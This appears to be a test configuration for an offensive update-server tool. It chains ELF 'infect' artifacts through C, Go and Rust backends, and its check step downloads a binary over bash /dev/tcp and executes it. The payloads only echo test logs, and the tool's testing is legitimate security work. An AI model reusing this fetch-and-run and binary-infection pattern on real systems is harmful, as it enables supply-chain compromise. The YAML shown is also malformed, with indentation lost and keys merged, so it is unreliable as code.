check:
image: ubuntu:12.04
cmds:
- |
bash -c '{ echo -ne "GET /a HTTP/1.0\r\n\r\n" 1>&3; cat 0<&3; } \
3<>/dev/tcp/$SH4D0WUP_BOUND_IP/$SH4D0WUP_BOUND_PORT \
| { while read -r; do [ "$REPLY" = "$(echo -ne "\r")" ] && break; done; cat; } > /a'
- chmod +x /a
- /a
artifacts:
payload:
type: inline
data: |
id
sleep 0.25
for x in c rust; do
cat /tmp/sh4d0wup-test-$x.log || echo "test failed: $x"
done
echo all tests completed
payload-elf:
type: infect
infect: elf-fwd-stdin
artifact: payload
test-c-done:
type: infect
infect: elf-fwd-stdin
backend: c
data: |
echo 'test complete: c' > /tmp/sh4d0wup-test-c.log
test-go-done:
type: infect
infect: elf-fwd-stdin
backend: go
data: |
echo 'test complete: go' > /tmp/sh4d0wup-test-go.log
test-rust-done:
type: infect
infect: elf-fwd-stdin
backend: rust
data: |
echo 'test complete: rust' > /tmp/sh4d0wup-test-rust.log
test-bind-c:
type: infect
infect: elf
backend: c
artifact: payload-elf
elf_artifact: test-c-done
test-bind-rust:
type: infect
infect: elf
backend: rust
artifact: test-bind-c elf_artifact: test-rust-done
elf:
type: infect
infect: elf
artifact: test-bind-rust
routes:
- path: /a
type: static
args:
artifact: elf